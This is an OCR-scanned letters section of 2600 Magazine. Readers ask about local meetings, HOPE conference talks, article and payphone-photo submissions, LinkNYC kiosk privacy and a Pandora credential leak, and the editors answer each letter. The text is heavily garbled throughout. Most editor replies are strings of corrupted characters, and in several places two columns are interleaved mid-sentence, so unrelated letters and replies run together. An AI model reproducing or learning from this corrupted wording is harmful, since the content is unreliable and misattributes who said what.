other than w help sprnul tlu URI. a hit mort•. If 
thae em ne11 fea/llre.\ 111 pt·r.\(lt'Uil·c·s. m well el' 
Cl/1\ /It'll hacker-related projt•ct.\, please comider 
.lt'lltiill� rhem to ux hc'fon• they hecome "·iltlly 
popular. l\11d p/ea.lt' kee•p doing what ymt do. 
Oeur 2600: 

llcy there. I took " hut pk' for )OU and l l.nOI\ 
)Ou'll love it. Loot.. at it and lc\1 me so ''e c;m 
go on a d;1te. 

Joanne Shields 

1/m C/11.\'0IIC' l'l'l'l' Ill till' /ii.\Wr\' of huma/1 
ity resp1111ded to ollt' ��r tlw,·e·• We wrmltl likt· to 
hear \'mtr 11on•. Serimll'l\'. �%· need this .�hit ta lw 
harked .\tmtelunv. 
Dear 2600: 

Who do I contact ahout rclca,ing press rc­
lca'e''l Thanb. 

Krist) n 
Would that 1101 lw \'llttr Jill> .\IIICl' \'Ott appar· 

e/11/y u·am to send 111 mw'1 \VI• do11 '1 mean /tJ be• 
.11/ltii'ICII.I'C'.I about this ... Inti m·tuallv i11 thi�· ca.\e 
11'1' cia. You 're the PR pt•r.\1111, .111 Will reall1• mt�llf 
111 be �e·11i118 your own tt•rmillolog\' right. Nm t/1111 
tht•rt• 11·a.1 c·•·er a �nowba/1\ e hemce itl hell that 
1n• 'd prim y11ur c·re1p n·c·tl if l'llll lllccl perfea clit • 

rum. Hill it wmtlcl hm•t• ell lt·a\1 l.t·pt ,\'Oil ow of thc· 
fcllt'r\ \t'CiiOII. 
Dear 2600: 

l lcllo. l am a Chinese. and there a hacker will 
ing to ta�c bu\ines�. 

The Charactcn Didn't Come Throu�h 
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I] 1n• only kill'\\' ho11· to tiii.\1\'Cr the•e emui/.1, 
11·c· could probably bt• Cll tlu· heart of all 101'1\ of 
mtanmiorwl intriRtte. Agctill, there \ artidt• Jill· 
te•ntictl here. 

Meeting Updates 
Dear 2600: 

I am siuing in the Pancra Bread in Morns­
limn. Ne" Jersey ;ll 7:30 pm and have been here 
an hour. Therc is no one here. I think 2600 Mm­
ristown IS defunct 

J:tck 
It t.\ at that, which i1 w/1\' ll'e' swpped liMiiiR it 

t•ctrlia rhi.1 year. \Ve 1111/.1/e'.ll l'i.1iti11g the Somn 
l'i//t• me•t•ting IIIS/t'(ltf, a mere• 25 lllillltll'S Clll'el\' /11 

car 
Dear 2600: 

C'ould )OU tcll me il you have an) mceung;, 
111 Liverpool pl<mncd or running at present? I 

dn hntl traveling 10 Mandu:stcr exhausting and 
long. I mean, it's 45 miles. Could you refer me to 
another group that cove 1> my area please'? Many 
lhillll.s. 

Aidan 

1\'t• ll'ould lm·t• w lwn· me·t·tmgs in Lil'apool. 
hut at the moment that dtll'.lll't appear to bt• lwp· 
pt•nmg. Perlwp.\ wm 're tlte person to 11il·e it o 
1/wt? And while to 11.1 in tl1e States 45 miles moy 
11111 .1'1'1'111 like much. ir actually is a llmger di.1 
flllll'<' 111 England what• the road.\ are smaller, 
It•.\.\ tiln•o and ho1•e· lt>ll't't .lpt•ed limit.\. It can 
C/CIItafl\· wke houn 111 gt'l IIC'tll·e·en the two ntie•.1. 
tim/ II'C could Jill a hook "" tht• differences and 
rtl·o/rie•., hef11·een Lirapool Cllld Ma11che.1ter. Inti 
ll't' // ln11'e' thar }tlr wwtlll'r time•. 
J)car 2600: 

My team <tnd I wunt to n:Mm1 thc San Antonio 
2600 meetings. wh1\:h have disappeared in the 

pa'l couple of ye;�rs We arc dedicated and able 
p<trtic1panh who \\Ill he gO<ld \lewards of thi' 
prc,llglous number (and mcetmg). and assure )OU 
it \\111 be fonhc communi!) and not one indi\ idu­
al's wanh and desires 1 

Let me know the pmccs\ anti I will begin by 
identifying a regular time uno place for monthly 

get togcthcrs. 
asciib 17 
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I�· 've H'nl you the reqtw1ted info. 8111 we 
/w\'1' w 1ronda if tire allu\ion to "om• im/h•idu­
lll\ .,.,,., and d1·1ires" lrU1 .wme sort of clramaric 
.110n be/rind it. 11111 all rlrm mailers noll' is thar ct 
d1•c'l'lll public met•ting location be clwsc•n and tlrat 
it pro \'Ide llll Of'l'n and wdcominR tllltW.!plrere w 
all wlro are imerr11ed. We wi1lr you luc/... 
Dear 2600: 

1 would like some information on the rncet­
'"!!' in Harri�burg.. Penn\ylvania. I've been to the 
dc'>ig.n:ued area on a couple of occ�ion,, but nev­
er 'ccm to find anyone there. h the coordinator or 
creator �till updating you guys'! Is there u Twiuer 
accuunt or IRC handle as�ocrated with that group 
,o I can get rn touch? 

Any help i\ appreciated. 
London Longenecker 

We don't f!,il'l' met any pasonal info for meet­
Ill!: mrendec·1 ami there aren't official awrdirw­
WrJ, 10 rou 'n• 111 muclr in clwrge as anrone else. 
If you don't wwu m commit to till ending, gelling 
more• people to slrnw up. am/ letring u.1 know !row 
tire mretingl an· going. 11'1' ctm tlelilil tlrt•m if no­
bodr el.se i.1 1/rm• in�: up. MeerinRS can tii'Oid such 

fau•s by mai11111111ing a web page and/or commu­
nicatin/!. l'ia 111•itter. Please• follow @>2600Meet­
"''l·' on Twitrer /0 keep updatt•d. 

Getting lni'O!ved 
Dcurl600: 

I am very Interested in being a volunteer at 
the next HOPi� conference. I have no experience 
rn IT, but after bemg hacked by my ex (who was 
not the one d01ng the hacking), I'm now very in­
tcrC\ted in thrs held. Than(.. you. 

CH 

It\ inrere.11111g tire rlrinJI� rlrar Meer people in 
our direction. bltl you don 'r need to lravt• m1y in­
ll'rl'\1 or exp1•rirnce in IT or be some sort of a recl1 
guru /IJ be a part of our conferences. I/ ow ever. 
1n· nm'r think of a beuer place ro met•/ people 
11'/ro ore. 
Dear 2600: 

If you arc \till accepting \ubmis�ions of pay­
phone photo'>. here are mine via flickr. I would be 
honored if any might make it to print. Thank you! 

Johnny Martyr 
3Smm Photojournalist 

S1milar to our art ide poli1y. we 1111111 tuk rlra. 
plrmo.\ mbmilll'll for either tire payplrom• section 
m tlrt• back 1'0\'l'f 1101 be• p11blished L'i.lt!Wirere 

prwr w our printing them 7/rar include.\ online 
and pulling th('lll on a public jlickr an·ount is 

a 11 fl.\' of publi.llrmg photo.\, wlriclr makes us less 
<'af!.t'r /0 con1id1•r tlrem. (Plus, do you really walll 
tlrolls1111ds of .1trongers 1'\ploring wmr other 
plrow albumJ auaclred w that accoum?) You 

c·tm plaster wmr payphone pictures all over tire 
place after we print rlrem, bw we don't want our 
rt>atlers ro be coming Ill 11.1 with accusations tlrat 
we're printing slllff they've already seen. (C

.
:tr 

readers are quite rwlrle.u when it comes ro that.) 
The email address to send your payplrone photos 
i.\ payplrone.!@2600.com. We select eight photos 

four rimes a year and tlren we pick 14 more from 
tire previous year for our hacker calendar wlriclr 
come.t 0111 in the .mmmer. 
Dear 2600: 

In my HOPE acceptance email, organizers 
noted "IF you reel your presentation will trans­
late well into an article for the hacker community 
in 2600 Maga:.ine and it hasn't been published 
before, plca�e submit it to anicles@2600.com.'' 

What arc the parameters for Lhis? I just send 
slides later to this email and someone lets me 
know if they want to tum 1t into an article? 

c 
The idea for this came about while we were 

looking at all of the terrific co/1/e/1/ being pre­
semed at The Eler•emlr flOP£. We don't think 
tlwre 11'0.\ a .lingle pre.\enrarion that could nat 
!rave been turned into an excel/em article for our 
rc•aders. Wlrar beuer \I'll)' 10 preserve tire ideas 

from the wlks and panels at HOPE than ro pill 
tlrem into words tlrat will live rhrottglr the ages 
and inspire all kinds of mher projects and ideas? 
1iJ answer your specific question, you are the one 
\lito must write tire article. nor us. Who beller to 
understand the concepts i11 a presemmion rlum 
tlrl' person wlro gave it? Pulling together such an 
article is far ji·om a dmmting task tiS tire narra­
tir·e of tire· wlk itself is extremely similar ro the 
twrrorir·e of m1 article. Wl' hope to Sl!l' many such 
pieces come our way in the months ahead as there 

were so many good discussions and lectures ar 
the conference. 
Dear 2600: 

We're speaking on a panel at HOPE that J be­
lieve would translate well into an article and be 
enjoyed by 2600's readership. 

Some or all of us would be happy to contrib­
ute someth1ng. Regarding the format, I'm think­
ing it'd need to be point/counterpoint-style or 
'omething similar. as we have differing opinions 
about the subject mauer (a must for a good panel, 
if you ask me). 

J 
n� quite agree and hope to su a submission 

wwn. And for those of you who wamed to gir•e 
a preselllal/on at HOPE btl/ didn 't, just imagine 
that you did am/ put that imo an article as well. 
We think wm'll be surprised at wlwt you come 
up with. 
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Dear 2600: 
What is the deadline for an an1clc to be con­

sidered for the next i�sue? I have an article. but 
il':. lime-sensitive and I would waste your time 
hy asking you co consider it if it could not make 
lhc ne;\t lSSUe. 

Mike 
U11forttmotely. by 1101 ju,\t sending us the ar· 

tide, weeks were lml and lim<' licked away. As 
II'<' me111io11 frequemly (as wl'l/ as i11 our atllo· 

r(',lpollder). u·e don't hill'<' the time or resource.\ 
to reply personally to letter .111hmi.1.1iom. \Ve con­
.1idl'f all articles. so you .\lwuld m•1·er lle.1itate, 
auuming it\ a subject thlll ll'tlllltl be of mteresr to 
luu·ken somewhere. 
Dear 2600: 

So I just need 10 \\rite the an1cle Without 
knowing if you're interested 111 it, whether you 
just published something about it, or if you've got 
an identical article in the pipeline. then send it lo 
you. chen wait six months to lind out if you ever 
decided to publish il or not'! Then after six-plus 
months. if I don't hear back, thl'll I may publish 
my rejected anicle ebewhcrc'! 

l am surprised you're able to produce a maga­
line with such a volunteer/author-hostile arrange­
ment. but more power co ya I guc"! 

make your article as long as you feel it need.r to 
bl' wit/una Jkimping 011 thl' dewils. We look for­
ward to sel'ing it. 
Dear 2600: 

I have co �ay che whole Pokemon thing is 
fascinating while also ceiling of social issues and 
how they manife�l. Seeing people so into their 
screens while scanding in unusual places is odd. 
On the upside of it, I saw a group of people out 
side my day job today. Nice part being people ac­
tually incemcced with each other and greeted each 
other with smiles and light, but not empty, chac. 
Disclaimer that I do nol play this game currently 
. I had to nag myself after playing Ingress and le­
veraging che baucry life. time spent, and panially 
distracted state 11 can leave you in (no judgment 
or players, but I do gee a chuckle based on Ill)' 
prior GPS to real world mobile gaming). 

Having played video games for many years, 
viewing the world around me in an objective 
video-game-based task and skill challenge can 
already help me say things that l observe, that 
can easily sound obtuse or cricical of che per· 
son or scenario. A person can find themselves 
upseuing workplace MaiT for sharing a critical 
opinion. That is the magic of the digital world 
to real world, in my opinion. When the irregular 

S thoughts and observations are welcomed to be 
Wp'rp 1wt often £Wl'II\NI of being hostile to traded amon�: a �:roup. the open dialog encour-

wrtters bill it's an imere.\llng fll'r.\fleCtll'e. You ages more reserved persons to JUmp on into the 
ccm del whate1·er you ll'lllll with your article. It's conversation. while also being less intimidated by 
yours. But ifycm wtmt it 10 b1• comideredjor these the perceived gap in skill or experience of anyone 
pages. it can't be something you'l'l' already pub- else in the room. Nothing groundbreaking, but I 
fished elsewhere. We cu·tually notify contri/mJors only recently came inlo applying packet sniffing 

.fiu· earlier than six llllllllhsfrom when they submit co a suppon manner. Back in the nineties. I took 
tlll'ir articles ((we're going to Ill'(' them. llowever, !he Mitnick �aga to hean and tried to draw a line 
it may take a couple of is.\ lit',\ hljore it actually in disciplines. Totally ridiculous and fear driven a 
appearJ in prim. That part of our auto-re.1pm1der concept, but especially in your teens. it b simple 
11'11.\ uncle11r and wc·,·e .linn• correctt•d it. \Ve work to get 11110 .. enou� trouble for learning too 
don't knoll' if that wi/l maJ.t• you lillY llll>rl' co11· much. in a manner thai makes an elder person 
ducil'l' to smding us mataial, but rt•.\t auured we look silly or mcompeccnt. Humorously enough at 
are doing the l'ef}' best II'(' nm. this point. most of my twenties were spent do-
Dear 2600: ing or re�carching things I was told were not pas-

Long time reader in the process of writing an sible. I would understand not feasible, especially 
arliclc. for a more efficient means to the end task. 

As publishing cosls arc �uhsl<lntial, I'm Lry· The world outside is odd, but business person· 
ing to avoid an aniclc long enough to 111andate alilics arc lerrifying. II honestly feels like people 
another page of prim . arc scared lo demh of speaking their mind outside 

What are the guide lines for anicle submis- of a cut list of advertised event; thai would not 
sion'? Also. what i" the prcfcmhle an1clc length? result in hearing a contrary opinion or even ob-

Eric scrvation of the sanlc repon. Perhaps I am just n 
Plea\e don't II'OTT)' abolll n11111i11g tl)(l long. cranky call center sysadmin/facilities employee. I 

That\ what editorJ are for. 711(' priming wst will can deal with minimal resources · hell.thac\ pan 
b<• the same regard/en of ho11 hm,tl wmr artieli' of the challenge - but the whole inability in the 
i.� smce ll'f' always hal'<' the s11me number of pag- current era to chat about life and the world around 
t'.\ i11 euch issue. We prefi•t artidt•\ that go imo you completely 'taggers my mind. I remember 
detail ratha than those thlll are m•<·rly brief. So when eye contact didn't scare people. I get ch:u 
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people ask for pocket change quite often in t:itics. 
hut J am thankful for the ot:ca�ional person who 
�:an return eye contact and not be waiting for the 
con. It helps break the feeling that interaction i� 
a charade. M) p.:rsonality is more of an ob!>erver 
than dialog stancr (so I can cenamly be pan of 
the fault) I'll Join the conversation in a confimw 
Lion of the topic or trade an experience along the 
same line�. Dialog il> wild, as moM people adapt 
their vocabulary to the people they roll with. 

I had an at:cident J Wil\ lucky to walk away 
from a few }Cars ago. That at:tually ended up be· 
ing when I decided to hang up the fear of wider 
scale hacking und learning - pan1cularly as most 
forbidden knowledge seems to be easy to get mis­
understood at lirst glance. I complained about the 
call center/taciliticl> role. Reason being.thanklcs� 
roles �em to be the hardest to accomplil>h, es­
pecially 10 a 'preadsheet, prolit margin pinching 
world of normalization. 

Never lei <lnyone tell you that your ideas are 
impossible. Build off the critique, but remember 
that you have to keep grinding on. These are the 
conven.auons I rarely hear forged into wonh 
from te111. like the old Packet Stom1 t-shin I had 
which �aid: "Evolve or Die:· 

Pi cOo 
The ongoing Pokemon Go phase is indeed 

interesting ami re�·ealing. It\ l!tl.\)' 10 mad; and 
condemn .111ch occurrences. but mecming cmd 
l'lllue can t'\IW el·errwhere and thi.\ is far from WI 
excepuon. A1 1'011 rorrectly MlfiiiiSl', this kind of 
thing can hl'lp witlt social illferactiom, as well a.\ 
�:et people out of tile ltou.l'e. Things only gel 011t 
oflumd wlten tltey're taken too .H•rio11sly. Bw tltlll 

can be swd about almost tmytltilllf. 
Dear 2600: 

We Jove your 7ine and I have been a fan since 
getting it 1n the 9<h in my hometown Barnes and 
Noble in Connecticut. My publishing comp:my 
would be honored to make any collaboration that 
could help promote you. Keep it 2600! 

w 
\Ve're ahmy.1 open w it/ea.\, .10 please gil•e 11.1 

specifics aml ll'e'd he happy 10 cm1.1tder consptr· 
ing together. 
Dear 2600: 

In re�ponsc to the leuer from V:1�lcos in 33:2. 
)OU mentioned that it is difficult to obtain a list 
ing of all the stores that sell physical copi� from 
the distributors. What about cmwthourcing such a 
list. kind of how you do with the meeting locations 
now? I would happily submit the Chapters loca 
Lions that I usually get my copies from. along with 
tip� on where C'lllctly in each store the 2600 i� usu 
ally tucked away at. I'm �ure others would � well 

Ale1. W. 

If we ccm ji{lllre out a way of doing this that 
won't involve a wltole lot of daw e111ry and dott· 
blecltecking. II'(' 're all for it. 

Dear 2600: 
I sa\� in the letters section of 33:2 that you 

\aid you OCR the scanned pap.:r back issuel>, 
then correct any mistakes by hand. I would like 
to offer this idea to help speed things up: split up 
the work with a crowdsourccd, Project Gutenberg 
type setup where volunteers can sign up to help. 
Each person would get a page or a section at a 
time from random editions and submit correc­
tions. Let's make sure the h1story is no1 lost and 
the 2600 hacker digests are released as quickly 
as possible! 

RAMGarden 
This is a good idetJ. bill it will .\Iii/ take time 

as �<e htll't' to ma/..e s11re it :t bein!f done correct­
ly. Our goal right noll' is to cmuim1e gelling the 

.\canned di11e.W.\ ow 011 a re{llllar basis. Doing 
thlll is uwclt more in11olved tlwn it may initially 
appear as u·e 're ttlso document in�: signijica/11 
changes and de••elopmems in our lti.wory. paral­
lelinf( the dc1•e/of1111ent of tedmolo{ly. and trying 
to remember wltat all the cm·l•r.\ were about so 
we can finallv e.tplain them. Doin!f this once ev· 
ery three moll/h.\ wlti/e still comi111: 0111 with new 
quarterly iss11es is a mOIIIIIIICtllal lllsk. (S11bscrib· 
ing to o11r lifnime digest prnwam ltelps us feel 
like usa// "·orth tlte effort. by the way.) Once we 
gl'l all of thii work done. "e can fonn 011 refining 
it more, which 11•i/l im·ol•·e OCRing and gelling 
the issues inlll a.\ many formats as possible. We 
may we/l ne<•d to crowdsource that when the time 
comes. Than/..sfor the suggestion. 

Curiosity 
Dear 2600: 

I have a quc�tion. ln your opinion, who is the 
greatest hackur in the world - at lc<�st among the 
hackers you h.now'? Please answer me. I am wait­
ing. 

tm. 
It's not about personalitiel. It lll'\"er sho11ld 

he. lfyoll idoli:.t• indi••id11als and put them up 011 
pedeswl.\, yo11 help pw them in wt impossible sit­
uatiOII cmd they will 11early alway.\ let yo11 dow11, 
whether for thlll reason or another. Examples of 
this are e•·erywhere. And you "·o11ld be amazed at 

the things thlll tilt' .1o-called e.tperts don't know or 
by the incredible ��ills possessed by people who 
\'Oil will ne1·er hear tlbOtlt. We all have something 
1111iq11e to contrilmte. Some ob••io11sly are be tier 
thtm most, a11d a few are able 10 get a handle 011 
the b1gger pict11re while 01/lers are bli11d to it. 8111 
110body i.l t/te best, jiiSI liS 110body i.\ t/te worst. 
Tlte.1e are twl t/1(' things to ji_mte 011. Instead, fo­
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cus on /tow tO improve your own skills and to u/1-
dersrand as muclr as you can in this tmiqtte com­
mwtity. Then you aut figure ott/ ltou· you \\'l/111 
ro help sreer and decide on the direction we're 
heading. 
Dear 2600: 

Why did the 2600 site stop giving summaries 
on its Off The Hook page, starting June 201 5? 

Your last summary on an archived show was 
June 10, 2015. After that: no sum marie�. Why? 

Mike 

We are quire aware ofrhis failing of ours. (We 
didn't prim all of rhe or her e1•idence of rhis you 
submilled - rlze one semence was enough 10 make 
your poim.) The facr of rhe matter is we'1•e been 
extremely ried UfJ in projects rhar rook tt higher 
prioriry. The most imporram things were raken 
care of first, specifically producing acrua/ mate· 
rial. We 've fallen behind on some of the miter 
dewils because of the increased workload. but 
the viral swff is getting done. We hope to have 
rhi.\ rectified by the time you read litis and. if' nor. 
soon thereafter. Meamvhile.just try 10 think of ev­
ery show as a swprise where you have no idea 
what :r going to happen nexr. That�· how we think 
<if them. 
Dear 2600: 

Do you have any big plans for the magazine 

or conferences in the year 2600? I think it's the 
thing to do. 

John 
Like we'd ler rhlll car out of rhe bag? We can 

confirm that ir:v a  HOP£ year, bw rhat:� really all 
we can say. We know that if lumtaniry .111rvivc.\ (or 
some or her race that teams 10 read English takes 
over), someone will be looking through Ottr pages 
in tlte year 2600. We srrongly doubt anyone will 
be looking ar lnstagrttm. 

New Stuff 
Dear 2600: 

I'd like to share with you sorne info1mation 

about the upcoming p remiere of a multimedia op­
era dedicated to and inspired by the life of Aaron 

Swartz. 
http://www.aarons .pi/ 

Pawc KrlaC.t.kowski 
Thanks for letting us know abow this. 71te 

premiere in 1-\itr,W/W is on September 2/,\t, which 
is prior ro when this issue hits tlte stands. We do 
hope it's presented later this alllullm l/s well. or at 
some poi111 in rhe jiuure. Eirlter way, 11•e wall/ ro 
share some rif tlte word.\ from its description with 
our readers: 

"Aaron S is a multimedia composition dis­
cussing rhe issues of pro-democracy social move­
ments emerging 011 the basis <if digiwlmedia. 

"The protagonist of the opera is Aaron Swarrz. 
American programmer. journalist. polirica/ ttc­
tivist and hacktil•isr. one of the icons of modem 
ami-�:rstem rebellion. symbol of conscious and 
self-sacrificing effort to oppose the appropria­
tion of the public domain by private copital and 
corporate inreresrs lef.!itimizetl by modem state 
strucmres. ln his short and extremely illlense life, 
Aaron Swarrzfougltt primarily for 111ti1•ersal and 
egaliwrian access ro knowledge and education 
as a fttc·ror affecting social progress. He be/ie1•ed 
deeply thlll modem technologies and the In remer 
is a viwl balllegmund for a beuer. more jusr. and 
democmtic world. Aaron Swart;; appears in the 
piece as a scauered memmy. There is no main 
narrator, bill a series of recorded voices. avatars. 
and bots fimn rite field of power and resistance. 
71te tension between the two mtmi.fest.v itself in 
sowul. 1•erbal. geswra/, rechno/ogica/. and visual 
material. 

''71te llllemer is now a global .\/age vf all 
kinds of artistic activity, cmd rite process <if com­
posing . .  mum/ generation. and transformation ctre 
accessiiJ/e 10 mt increasing number <if artists. The 
dynamic de1•elopmem of new technologies and 
ji'ee access tnt he recording.v. educational materi­
als. ond software clumged the way we listen lo 
and understand music. They launched a process 
of democmri;:ation of high culture. In rhis piece 
musical. literary, and visual conrenrs were linked 
rogerher by common technologies and intermedia 
translations. Specially for rite needs of opera. 
some new insrmmenrs and other electronic de­
l'ices were designed. 

"We dedicate this piece 10 Aaron Swart;: .
.
. 

Dear 2600: 
The Jan Murdock Etlition of' Privacy En­

hanced Linux for Pi 2 is ou1. The two gigabyte 
gtip compressed microSD card image can be 
found through http://privacyenhanced.blogspot. 
com/: 

Scooby Doo 
It's really incredible how many .\'1/ch releases 

rhere are and how they relate to the commtmity in 
dijferelll ways. There are some fascinating, inspi­
rational, and tragic stories behind them. 
Dear 2600: 

Lightweight Portable Security (LPS). cre­
ated by USA's Depanment of Defense, is a small 
Linux �ive CD focusing on privacy and security. 
For this reason. it boots from a CD and executes 
from RAM. providing a web browser. a file man­
ager. and some interesting tools. LPS-Public turns 
an untrusted system into a trusted network client. 
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I tried to downlo:td the .iso but could not get 
a connection. Do h;�ve any �uggeMion'> as to bow 
I can loc:ue a copy'? 

da\-id0509 
Ow sources guide liS to hllp.1:ll.\(li .dod.mill 

LPS-P11blicJor _DoD.Ium but we Rl't wamings 

from all our browwr.1 Sll\'ing that tht• .lite is inse· 
cure Probably 1Wt the best mes.mgt• Ill get from 

a milillll'\' website. 
Dear 2600: 

So I wrote a tabletop fantasy role-playing 
gan1e (a Ia Dungeon.\ and Dragons) about hack­
ing called Cry·ptomcmcu. It was written by an ac­
tual tlm:atlmalware hunter and a '>Y\tldmin, and 
features a fantas} IT abMmction built on real-life 
crypto and networking concepts. The game actu­
ally teaches basic cryptography. networking. and 
privacyf,urveillance litemC} to :1 non-technical 
audience. but also has enough dynamism and 
thinly-vciletl national security commentary to 
strike u chord with actual IT professionals and 
hacker' (cut lord knows that 80 percent of them 
pia} role-playing game'>). 

Here's the web.,ite http://cryptorpg.com. 
It\ actually selling pretty good at Drive­

ThruRPG.com. but I haven't found a way to 
break into the lnfoSec community yet. 

Anyways. I would l<ll'e for it to be featured 
in 2600 -,omchow. and am open to ttleao, if y'all 
arc game. 

veMigate. As I cautiously upproached the tower­
like device. It reminded me of the obelisl.. in the 
Stanley Kubrid. 111m 2001: A Space Odn1e\·. A 
clo-,er inspectiOn of the obelt'k reveled that it had 
u keypad to enter numbers/leuers. The keypad 
was located just below a screen that was approxi­
mately four inches wide b) ctght inches tall. The 
screen was not active and It remained pasSively 
black as I altemptcd to locate a power buuon or 
other way to t�ctivate it. The keypad was al!,o usc­
less as my several allempts to enter data into the 
obelisk via the keyboard failed to produce any 
rc'>ponse. 

I moved on. hoping to find an obelisk that wa� 
powered on and activated. I e"amined several 
other obelisb twer the next several days. but they 
too were all not activated. About two weeks later, 
my luck changed. I dtscovered an obelisk that 
was powered on and fully functional! Eureka! 
The touch scn.:en tablet wa' powered up and had 
the LinkNYC logo on the upper left hand side. At 
the bottom ot the touch screen di'>play were icons 
for sc,eral o f  the kiosk\ -.crviccs. Upon funher 
C'-amination and e,_pJomttOil. f discovered that 
the LinkNYC kiosk offered the following tech­
nology features: tablet for Internet browsing and 
checking email. free gigabit Wi-Fi. free charger 
for USB device (cellphonc. tablet. laptop. etc.). 
free phone cal b. audio Jack for headphones. free 
video calls to anywhere in the USA, 3 1 1  ctty ser-

Chad vices, and a 9 1 1  emergency call button. Way cool! 
lh•rt• \ 11 free pluR - ll'l 's see ifthm helps. If It just am a ted me that thb l.io�k had so many 

any rt•tukr� would like w offer tlu·ir opinions. u-.cful. and l"ree. features fhe convenience of 
p/ea:.t• .\l'llll them 10 11.1. Good luck! havtng all of this available on one device was 
Dear 2600: great. But. then it occurred to me that there was 

I have lived in New York City for many de- a downside to this. The powe rs that be who au-
cade' and I have watched the city change with a thorized this technology to be placed throughout 
practiced eye. Spccitically. I have always been the cit} could have a hidden agenda here. It oc-
scriously a .. tuned-in .. guy for changes that are currcd to me that these LinkNYC kiosh could be 
taking rlace here in the city with re•pect to u!>ed by Big Brother to spy on us.lt would be very 
technology. Over the last several years. 1 have easy for all of the infonnatiCln used in accessing 
watched as the authoritie� here have increased the very service• that I JUst liMed to be collected. 
the level of technology that is used to conduct stored, and analyzed by the powers that be. The 
surveillance of the population of the city. This U'>C and abuse of this infomtatton would be limit-
trend grew exponentially after 911 I .  Yerizon less. Further. it would not be hard for the city to 
owns and operates all of the payphoncs that get people to usc the kiosks and then harve!.t their 
remain here in the live boroughs of New York personal information. 
Cit). Over the pa\t several month\, I have no- Just thought that I would point all this out 
ticed Yeri1on technicians physically removing to 2600 readc�. Don't be so eager to gtve your 
payphonc� from the streets in several neighbor- personal infonnation and login credential\ 10 the 
hoods 111 Manhattan. I have not seen this being Lini..NYC kiosks as this cnwils very real and se-
done in the other outer boroughs of the city. rious privacy concerns. With NYPD �urveillance 

Then I began to notice that stmnge tower- cameras everywhere. license place reade� strate-
likc de\ ices. which stood about ten feel tall. had gicall) placed around the city. helicopter patrols 
been installed at the exact physic:tl locmion\ wmching us from above. the recent placement of 
wher<! the payphonc� used to be. Curious. I be- gun-detecting technology ;�round Columbiu Uni-
gan to approach one of these as I wanted to in- versity in Morningside Heights. and now this, the 
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corporate police state i\ here. 
Brain waste 

An imporram correclltm: Vt·n�cm does not op· 
erate all of the payphones in New Yi1rk City. In 

fact. we were surpri.fed to hear that they no lon­
ger operate any! According 10 the New York City 
,:(OI'emmem website: "Verizon no longer owm 
or operates public pay teleplwnes on the street.\ 
of New York City. The remainillfl Public Pay 
Telephones are owned and operated hy 10 other 

franchisees." Some payphones .�ti/1 /w,•e Veri:on 
logos on them. Tluu onlv .\haws how quickh· they 
e.\ited the business. What\ in remuini11R phone 
kiosks is either a completely diffcn•m phone or a 
completely dead pho11e. 

Now as for this LinkNYC bu.\ men. well may 
)'Oil be suspicious of it. Sure. it:\ really ama:ing 
the things these device.\ nm do and it sure does 
make our lives more cmn•enh•m. But nothing 
comes without a price and, as Will correctly sur· 
mise. the price here is pril'ltcy. lnfuct. one of our 
talks at The Eleventh HOPE dealt with this ve,:v 
subject. Members of the N<•w York Cil'il Ul1erties 
Union discussed the risks of this .\ervice. ni' rec­
ommend checking it <llll. ln a prels release. tfte 
NYCLU said that LinkNYC "rewins 1·a.lf amou111 
of mformation about users often mdefinitely -
building a massi1·e <lawbmt• that ntrries a risk 
of security breaches and tmwarrcmtcd NYPD sur­
l'eil/ance." It's definitely .wmethinf.: to he awarl' 
of 

C01porate Fallout 
Dear 2600: 

Here is a letter to a tech company that may or 
may not have leaked sensitive infonmttion - as all 
tech companies do at some point 

l will not be sending this letter. 
Begin forwarded me>'<tge: 
"From: Ke\'in )redacted] <lrcdacted)<!i gmail. 

com> 
Date: June 23.2016 at 5: 13:25 PM PDT 
To: [redacted] 
Subject: Pandora one leak (legit'l) 
Today I received an email �tating that my 

credentials had been leuket.l. Firstly. thank you 
for informing me. Secondly, is this son of thing 
really a surprise to anyone the!.e days? You tech 
companies promise the impossible, security in the 
infonnation cluster fuck. excuse my language. 
that is the Internet. Stop telling people their info 
is safe. They will Mill gladly �p�e tt to you. I 
would like to know more about the nature of the 
breach and how I should address this." 

Kevin 
We question why JJl'opflo would co11tinue to 

"gladly" gi1•e their pril'lltt' inji1 w tht•ot' c0111fla-
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nies if it:� a foregone conclusion that it:� ert'n­
tllalh 110ing to b<• leaked. Nothing .\eem.\ mort' 
foolish. 1\e ne<•d to .\lop handing OI'Cr all of our 
pril'llte data a111/ the.l<' companies need w swp 
asking for u. While decent security that ccm pm· 
teet our info i111't illlfHIS.Iible, it does require a lot 
of work ancl upk<•<•p, wul we all know how lo::v 
and sloppy these companies can be. In the end. 
we need to think of ourselw!s as the only ones ulti 
mat ely in charge of onr per.wmal information. We 
.1/umld 110t bt puni.1hed if 1\'e choose 1Wt to tm.lt 
other e/1/itie.\ with it. 

Ami all of 111 ltcrl' thmk you .1/wuld send them 
that letter' 
Dear 2600: 

We thought you might be interested m Gl;�reS 
mile: our toothbru�h is the first which bnt�h�:� 
your teeth the right w<�y in just 1 0  seconds. than I-s 
to a brand new technology with 3 brushes (that 
simultaneously brush all dentul surfaces) that we 
have invented �md manufactured. 

We believe 11 will have a huge social impact 
on improvmg or.tl hcalth both on weak group!> 
such as chtldren. the dasablcd and the elderly 
(who often m.-takc the brushing technique or 
lack manual ability) and every adult willing to 
save O\er 90'( of its brushmg time. 

Aldo Daniele Dominici 

Co-Founder & CEO 

Swp. Ju1t .\Wfl. Fint ojj. what kim/ of a lwr­
rible flO/Ill' i.� "GlareSmile?" Picture a filarinf.: 
person w/111:1 al.1o .1111iling and you've just con­
jured up a psychopath. Are you lookillf.: to give 
till' chilt/re/1 vou 'n• targeti11g nightmares? 7/·cm­
mati:ed /..it/.1 dl�{initdy lra1'e trouble bruslting. so 
maybe you 'r£• creatillf.: more of a market for your· 
.1ell·e.1. Bm till' real prol1/em II'C Jun-e with thir is 
that it has nothing lll uJJ to do with /racking ond 
therr\ onl1 w far that 1n•'re 11·illing to sm•tda 
the technolog\' connccttmz. For those cifyou wlrn 
tlri11k tlwt tlti.\ i1 ja/.\f cmmher piece cif .1pam that 

Jell tlmmgh th<• Cfllch a/Ill fooled us imo thinkmg 
it wa.\ a trut• <•mail. thi:. was acllla/ly speciji<·ally 
sell/ to us a.\ flllrt c�l this company's KickSumer 
campaif.:ll. Wt• hm•(• 110 objectio11 to compa11ies 
invelltinll new /ootltbnt,lhl'S a11d fimdint.: them in 
this way. though we lu11•e to wonder when we're 
goi11g Ill jinall\•.figurc• 0111 toothbrushing tee/mol· 
ogy and 11101'1' 1111. What we hm·e a probl<•m 11ith 1.1 
